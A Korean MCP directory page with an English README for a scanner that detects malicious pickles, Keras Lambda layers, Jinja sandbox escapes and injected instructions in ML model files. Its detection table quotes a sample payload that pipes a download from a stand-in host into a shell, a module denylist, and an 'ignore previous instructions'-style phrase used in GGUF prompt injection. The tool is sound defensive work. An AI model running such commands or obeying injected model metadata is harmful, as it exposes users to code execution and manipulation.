model-scanner MCP server
2026년 11월 12일 커밋PyTorch, safetensors, GGUF와 같은 머신러닝 모델 파일을 스캔하여 공급망 리스크 및 악성 코드 실행 취약점을 탐지합니다.
다른 이름 GuardBee/guardbee-mcp, @guardbee/mcp-model-scanner
- 스타
- 2
- Tools
- 4
- 다운로드, 30일
- 2,173
- 최신 버전
- 0.1.2
- 마지막 커밋
- 2026년 11월 12일
- 라이선스
- MIT
model-scanner MCP란?
model-scanner은(는) MCP server입니다. PyTorch, safetensors, GGUF와 같은 머신러닝 모델 파일을 스캔하여 공급망 리스크 및 악성 코드 실행 취약점을 탐지합니다. 4개 도구를 제공합니다. 예: scan_file, scan_directory, scan_hf_repo.
프로젝트 README에서 생성된 요약
model-scanner MCP server 정보
보안 연구자와 머신러닝 엔지니어는 모델 파일의 공급망 리스크와 악성 코드 실행 여부를 스캔하여 워크플로우를 보호할 수 있습니다. 이 MCP server는 PyTorch 체크포인트, safetensors, GGUF, Keras 파일과 같은 아티팩트를 검사하여 메모리에 로드되기 전에 취약점을 식별합니다. Claude Desktop과 같은 MCP client를 통해 로컬에서 작동하거나 CI/CD 통합을 위한 CLI를 통해 사용할 수 있습니다.
통합 코드만 모니터링하는 도구와 달리, 이 server는 실제 모델 파일 내의 위험한 opcode와 숨겨진 명령어를 분석합니다. 자체 제작한 pickle machine을 사용하여 바이트코드를 실행하지 않고 탐색하므로 .pt, .pkl 또는 .joblib 파일을 검사할 때 안전을 보장합니다. 또한 스캐너는 safetensors의 구조적 무결성을 검증하고, GGUF 파일의 채팅 템플릿 샌드박스 탈출 또는 주입된 텍스트를 확인합니다. 사용자는 개별 파일, 전체 디렉토리 또는 리비전 식별자를 제공하여 특정 Hugging Face 저장소를 스캔할 수 있습니다.
활용 사례
- 1CI/CD 보안 자동화SARIF 출력을 사용하여 모델 스캔을 배포 파이프라인에 통합하고 심각도가 높은 리스크를 포착합니다.
프로젝트의 README를 바탕으로 작성되었습니다. 모든 활용 사례는 해당 내용의 인용문과 대조하여 확인합니다.
model-scanner MCP 설치 방법
형식 확인: 2026년 11월 10일Cursor에 추가Goose에 추가Claude Code에 model-scanner MCP 설치
$ claude mcp add model-scanner -- npx -y @guardbee/mcp-model-scannerCursor에 model-scanner MCP 설치
~/.cursor/mcp.json
{
"mcpServers": {
"model-scanner": {
"command": "npx",
"args": [
"-y",
"@guardbee/mcp-model-scanner"
]
}
}
}VS Code에 model-scanner MCP 설치
.vscode/mcp.json
{
"servers": {
"model-scanner": {
"type": "stdio",
"command": "npx",
"args": [
"-y",
"@guardbee/mcp-model-scanner"
]
}
}
}VS Code CLI에 model-scanner MCP 설치
$ code --add-mcp '{"name":"model-scanner","type":"stdio","command":"npx","args":["-y","@guardbee/mcp-model-scanner"]}'Claude Desktop에 model-scanner MCP 설치
claude_desktop_config.json
{
"mcpServers": {
"model-scanner": {
"command": "npx",
"args": [
"-y",
"@guardbee/mcp-model-scanner"
]
}
}
}Codex에 model-scanner MCP 설치
$ codex mcp add model-scanner -- npx -y @guardbee/mcp-model-scannerCodex config.toml에 model-scanner MCP 설치
~/.codex/config.toml
[mcp_servers.model-scanner] command = "npx" args = ["-y", "@guardbee/mcp-model-scanner"]
Gemini CLI에 model-scanner MCP 설치
$ gemini mcp add -s user model-scanner npx -- -y @guardbee/mcp-model-scannerGemini settings.json에 model-scanner MCP 설치
~/.gemini/settings.json
{
"mcpServers": {
"model-scanner": {
"command": "npx",
"args": [
"-y",
"@guardbee/mcp-model-scanner"
]
}
}
}model-scanner MCP 도구 4
README에서 감지됨scan_filescan_directoryscan_hf_repolist_patterns
| scan_file | — | |
| scan_directory | — | |
| scan_hf_repo | — | |
| list_patterns | — |
자동 검사
2026년 11월 13일에 실행됨전체 보고서 →아직 인증되지 않았습니다. 서버는 80점 이상의 점수, 심각한 결함 없음, 그리고 검사에 충분한 데이터를 갖추어야 합니다. 검사 방식 · 점수를 높이기 위해 수정할 항목
- 소스 저장소 연결 및 접근 가능통과
- 오픈 소스 라이선스 (OSI)통과
- 최근 1년 내 커밋 또는 릴리스통과
- 패키지 이름이 인기 패키지와 유사하지 않음통과
- 원격 엔드포인트가 HTTPS 사용검사되지 않음
- 파괴적인 도구에 라벨 표시됨통과
- 모델에 대한 숨겨진 지침 없음Instruction aimed at the model found in the description or README결함 발견
- 패키지 및 해당 종속성에 중요한 보안 권고 없음통과
README
GitHub에서 보기@guardbee/mcp-model-scanner
🇬🇧 English | 🇹🇷 Türkçe | 🇨🇳 中文 | 🇯🇵 日本語 | 🇰🇷 한국어 | 🇧🇷 Português | 🇪🇸 Español | 🇩🇪 Deutsch
An MCP (Model Context Protocol) server that scans ML model files for supply-chain risks — the file itself, not the code that loads it.
Most "AI security" tooling looks at your integration code or the prompts flowing through it. This package looks at the artifact you (or a teammate, or a pip install) downloaded from Hugging Face, a registry, or an S3 bucket — or at a Hugging Face repo directly, pinned to a commit. A .pt/.pth/.pkl/.joblib checkpoint is a pickle file, and unpickling isn't just data deserialization — it can call arbitrary Python code the moment the file is loaded (torch.load(), pickle.load(), etc). A malicious checkpoint is a real, well-documented attack vector, not a hypothetical one.
Telemetry is off by default. With
GUARDBEE_TELEMETRY=1it sends the server, tool, success, duration and short parameter values such as a file path; longer strings and fields likecontent,tokenorpasswordare replaced with a placeholder. See@guardbee/mcp-telemetry.
Claude ──► model-scanner ──► Your model files
│
├─ .pt / .pth / .ckpt → PyTorch zip container: extract data.pkl, walk the pickle
├─ .pkl / .pickle / .bin / .dill → raw pickle stream (dill gadgets included)
├─ .joblib / .jbl → pickle + the array bytes and nested pickles joblib embeds
├─ .npy / .npz → object arrays (pickled data), pickles disguised as NumPy
├─ .safetensors → header structure + disguised-binary check
├─ .h5 / .hdf5 / .keras → Keras Lambda-layer RCE (HDF5 and Keras 3 zip)
├─ .onnx → external_data path-traversal heuristic
├─ .gguf → header/tensor bounds, chat-template SSTI and injected text
├─ saved_model.pb / .pb / .pbtxt / .tflite → graph ops that touch files or Python
└─ hf://owner/repo@rev → every model file of a Hugging Face repo at one commit
Why pickle is the core of this
Pickle streams are bytecode for a tiny stack VM. A GLOBAL/STACK_GLOBAL opcode names any importable Python object; the very next opcodes typically call it. There is nothing stopping a crafted pickle from naming os.system or subprocess.Popen instead of a tensor-rebuilding function — and pickle.load()/torch.load() will happily resolve and invoke it. This is the same technique tools like picklescan/fickling/Hugging Face's Picklescan integration are built around.
This package implements a from-scratch pickle machine (protocols 0–5) rather than shelling out to Python or using a regex. It walks the opcode stream byte by byte and tracks the stack and memo without calling anything, so a protocol 4+ STACK_GLOBAL resolves to the module and name actually on the stack, including strings fetched back from the memo, as NumPy 2 pickles do. A regex over raw bytes would both miss and misfire constantly.
joblib needs the same machine: joblib.dump writes each NumPy array's raw bytes (or, for object arrays, a whole nested pickle) right after the array's NumpyArrayWrapper. The scanner reads the wrapper's shape and dtype from the stack, skips exactly that many bytes, and checks the nested pickles too.
Every GLOBAL/STACK_GLOBAL/INST reference found is checked against:
- a denylist of modules with no legitimate reason to appear in a tensor deserialization path (
os,subprocess,socket,builtins.eval,ctypes, …) → reported as critical/high - an allowlist of the modules real ML frameworks actually reference (
numpy,torch,sklearn,collections, …) → silently safe, no noise - anything else → reported as medium ("unknown", not "malicious" — for manual review, keeping the false-positive rate low)
For PyTorch's default zip-based checkpoint format, the scanner reads the ZIP central directory directly off disk (with Zip64 support) to locate and extract just the small data.pkl metadata entry — it never loads a multi-gigabyte checkpoint fully into memory.
Features
- Real pickle parsing — a stack-tracking pickle machine, not a regex, not a Python subprocess call
- 44 dangerous-global rules across 6 risk categories (code-execution, process-execution, network, filesystem, reflection, deserialization), including dill's code-object and import gadgets
- PyTorch zip container support (including Zip64) — extracts and scans
data.pklwithout loading the full checkpoint - joblib — walks past embedded arrays to every pickle opcode in the file, nested object-array pickles included; zlib/gzip dumps are decompressed
- NumPy
.npy/.npz— object arrays (stored as a pickle, loaded withallow_pickle=True) and plain pickles renamed to a NumPy extension .safetensorsstructural validation — malformed/out-of-bounds headers, and detection of a pickle/zip disguised with a.safetensorsextension- Keras Lambda-layer RCE — in
.h5, Keras 3.keraszips and SavedModelkeras_metadata.pb - ONNX
external_datapath-traversal heuristic - GGUF — header counts, string and array lengths, tensor dimensions, types and data bounds checked against the file; chat templates checked for Jinja sandbox escapes, hidden characters and instructions aimed at the model
- TensorFlow — SavedModel, frozen GraphDef (
.pb/.pbtxt) and TFLite Flex ops that read or write files, call Python or send tensors to a debug URL - Hugging Face repos —
scan_hf_repo/scan hf://owner/repo@revisionresolves the revision to a commit and scans every model file from it - Bounded reads everywhere (10MB pickle prefix, 100MB safetensors header cap, 50MB zip-entry cap, GGUF and joblib read through a 4MB window) — safe against decompression bombs and won't OOM on huge model files
- SARIF 2.1.0 output — CI/CD integration (GitHub Code Scanning, etc.)
- Config file support via
guardbee.yml - 82 unit tests with malicious and benign fixtures for every format, plus a false-positive check against popular public models
Quick Start
Claude Desktop / MCP Client
{
"mcpServers": {
"guardbee-model-scanner": {
"command": "npx",
"args": ["-y", "@guardbee/mcp-model-scanner"]
}
}
}
CLI (CI/CD)
npx @guardbee/mcp-model-scanner scan ./models --fail-on=high --format=sarif > results.sarif
# A Hugging Face model repo at a pinned commit (branch, tag or sha; HF_TOKEN for gated/private repos)
npx @guardbee/mcp-model-scanner scan hf://openai-community/gpt2@607a30d783dfa663caf39e06633721c8d4cfcd7e
In repo mode the revision is resolved to a commit sha and every file is read from that commit, so the result describes a fixed snapshot; findings point at hf://owner/repo@sha/path. Files up to 256 MB are downloaded whole. Larger ones are checked from their first 64 MB, plus the last 64 MB for zip containers (the central directory), which holds every header, pickle stream and tensor table the checks read.
MCP Tools
| Tool | Description |
|---|---|
scan_file |
Scans a single model file |
scan_directory |
Recursively scans a directory of model files (a SavedModel through its saved_model.pb) |
scan_hf_repo |
Scans every model file of a Hugging Face model repo at a pinned commit |
list_patterns |
Lists the dangerous-global catalog by risk category, and the TensorFlow ops checked |
What it catches
| Format | Check | Severity | Example |
|---|---|---|---|
| pickle / PyTorch | Reference to os, posix, nt, subprocess, socket, ctypes, runpy, pty.spawn, platform.popen, commands |
critical | os.system('curl evil.com/x | sh') |
| pickle / PyTorch | builtins.eval/exec/compile/__import__, pickle.loads, marshal.loads |
critical | recursive/nested payload, or a direct eval |
| pickle / PyTorch | builtins.getattr/open, shutil.*, importlib.*, requests.*, webbrowser.open, urllib*.urlopen |
high | exfiltration, SSRF, file read/write |
| safetensors | Header starts with a pickle/zip signature instead of a length | critical | a .pkl renamed to .safetensors |
| safetensors | Tensor data_offsets exceed the actual data section |
high | a parser reading out-of-bounds |
| safetensors | Invalid/oversized header length, non-JSON header | high | corrupt or adversarially crafted header |
| Keras .h5/.keras/SavedModel | class_name: "Lambda" in the model config |
critical | marshalled-function RCE on load |
| ONNX | external_data location containing .. |
high | path traversal to an arbitrary file |
| dill | dill._dill._create_code/_create_function/_eval_repr |
critical | a function rebuilt from bytecode and called during load |
| dill | dill._dill._import_module/_get_attr/_create_filehandle |
high | reaching os.system without naming os |
| joblib | any of the pickle rules, in the main stream or a nested object-array pickle | as the rule | a payload hidden after a real array |
| NumPy | object dtype; a pickle with a .npy extension |
medium / high | np.load(..., allow_pickle=True) unpickles it |
| GGUF | chat template reaching Python internals (__class__, __globals__, …) |
critical | Jinja sandbox escape (CVE-2024-34359) |
| GGUF | hidden Unicode or "ignore previous instructions"-style text in metadata | high | instructions injected into every conversation |
| GGUF | counts, lengths, dimensions or tensor bounds inconsistent with the file | high | heap overflow in an unpatched loader |
| TensorFlow | WriteFile / ReadFile / PyFunc / file datasets / PrintV2 to file:// |
critical–medium | a graph that touches the serving host |
Full dangerous-global catalog: run the list_patterns tool, or see src/dangerousGlobals.ts.
Rule IDs added in 0.4
| Rule ID | Severity |
|---|---|
pickle_dangerous_global_dill__dill_*, pickle_dangerous_global_dill_dill_* |
critical / high |
joblib_partial_scan, joblib_compressed_unsupported, joblib_compressed_too_large, joblib_decompress_failed, joblib_unrecognized |
low / medium |
numpy_object_array |
medium |
numpy_disguised_pickle |
high |
numpy_bad_header, numpy_npz_unreadable |
medium |
numpy_npz_entry_unreadable, numpy_npz_partial_scan |
low |
gguf_chat_template_ssti |
critical |
gguf_metadata_injected_instructions, gguf_metadata_hidden_characters, gguf_malformed_header, gguf_tensor_out_of_bounds, gguf_bad_magic |
high |
gguf_duplicate_tensor, gguf_tensor_misaligned |
medium |
gguf_chat_template_url, gguf_unknown_tensor_type, gguf_not_parsed |
low |
tf_op_writefile |
critical |
tf_op_readfile, tf_op_pyfunc, tf_op_pyfuncstateless, tf_op_eagerpyfunc |
high |
tf_op_matchingfiles, tf_op_immutableconst, tf_op_*dataset*, tf_op_printv2, tf_op_debug* |
medium |
tf_saved_model_malformed, tflite_bad_identifier, keras_config_unreadable |
medium |
tf_graph_too_large |
low |
SARIF output keeps its shape: each rule ID becomes a rules[] entry as before.
Checked against public models
Scanned with scan hf://… on 2026-10-30. Every finding on these repos is listed; none is a false positive. The low "partial scan" notes come from files larger than the 10 MB prefix the pickle, H5 and ONNX checks read.
| Repo @ commit | Formats | Findings |
|---|---|---|
openai-community/gpt2@607a30d |
PyTorch (legacy pickle), safetensors, H5, ONNX, TFLite | 5 low partial-scan notes |
google-bert/bert-base-uncased@86b5e09 |
PyTorch, safetensors, H5, ONNX | 3 low partial-scan notes |
sentence-transformers/all-MiniLM-L6-v2@1110a24 |
PyTorch, safetensors, H5, 9 ONNX variants | 10 low partial-scan notes |
Qwen/Qwen2.5-0.5B-Instruct-GGUF@9217f5d |
GGUF (9 quantizations incl. fp16, K-quants) | none |
bartowski/Llama-3.2-1B-Instruct-GGUF@067b946 |
GGUF (18 quantizations incl. IQ types) | 3 low notes: tensor types 31–33, removed from ggml |
microsoft/Phi-3-mini-4k-instruct-gguf@a641133 |
GGUF | none |
keras-io/ocr-for-captcha@1d695c4 |
SavedModel + keras_metadata.pb | none |
keras-io/timeseries-anomaly-detection@5712601 |
SavedModel; profiler .pb files skipped as non-graphs |
none |
suno/bark-small@1dbd7a1 |
PyTorch, 783 .npy speaker prompts |
none |
julien-c/wine-quality@90ef3b7 |
scikit-learn joblib | none |
mcpotato/42-eicar-street@8fb61c4 |
Hugging Face's malicious-pickle test repo | model_broken_X.pkl: critical builtins.exec (the only payload with a model extension) |
These are heuristic findings tuned for a low false-positive rate — HDF5 and ONNX in particular are complex binary/protobuf formats scanned via a bounded text-pattern search rather than a full structural parse. Every finding should still be reviewed; a clean scan is not a formal safety proof.
Configuration (guardbee.yml)
model-scanner:
fail-on: high # any | critical | high | medium | low | none
max-files: 2000
exclude:
- "fixtures/"
Limitations (by design)
- Only the first 10MB of a raw (non-zip) pickle stream is scanned (joblib files are walked to the end) — dangerous globals must be referenced before their instances in a pickle stream, so this bound is a reasonable trade-off against loading huge legacy checkpoints fully into memory.
- ZIP extraction supports STORED and DEFLATE only (covers the default PyTorch checkpoint format).
- HDF5/ONNX checks are pattern-based on a bounded prefix, not a full structural/protobuf parse.
- joblib files compressed with bz2, xz, lzma or lz4 are reported, not decompressed. GGUF v1 and big-endian GGUF files are reported, not parsed.
- TFLite checks look for Flex delegate op names; builtin TFLite ops are tensor math only.
- GGUF instruction checks look for common injection phrasing and hidden characters; a carefully worded instruction can still pass. Read the chat template of a model you did not build.
- This scans the file, not runtime behavior — it does not execute or sandbox anything.
Development
npm run build
npm test # 82 unit tests
License
MIT — GuardBee
Feedback
Questions, ideas, or a false positive? Start a thread in GitHub Discussions or open an issue. If GuardBee is useful to you, a ⭐ on the repository helps others find it.
model-scanner MCP 질문
model-scanner MCP를 Claude Code에 추가하려면 어떻게 하나요?
터미널에서 claude mcp add model-scanner -- npx -y @guardbee/mcp-model-scanner를 실행합니다. 모든 프로젝트에서 사용할 수 있게 하려면 --scope user를 추가합니다.
model-scanner MCP를 Cursor에 추가하려면 어떻게 하나요?
~/.cursor/mcp.json를 열고 mcpServers 아래에 서버를 추가합니다. 위 설치 섹션에 표시된 Cursor 구성을 사용합니다.
model-scanner MCP는 어떤 도구를 제공하나요?
4개 도구를 제공합니다. 예: scan_file, scan_directory, scan_hf_repo, list_patterns.
Hugging Face 저장소를 직접 스캔할 수 있나요?
네, scan_hf_repo 도구를 사용하여 특정 핀 고정 커밋(pinned commit)에 있는 Hugging Face 저장소의 모든 모델 파일을 스캔할 수 있습니다.
스캐너가 모델 전체를 메모리에 로드하나요?
아니요, PyTorch 파일의 경우 ZIP 중앙 디렉토리를 읽는 방식과 같이 제한된 읽기 및 특정 추출 방법을 사용하여 수 기가바이트 크기의 체크포인트를 메모리에 전부 로드하지 않도록 합니다.
텔레메트리가 기본적으로 활성화되어 있나요?
아니요, 텔레메트리는 기본적으로 비활성화되어 있습니다.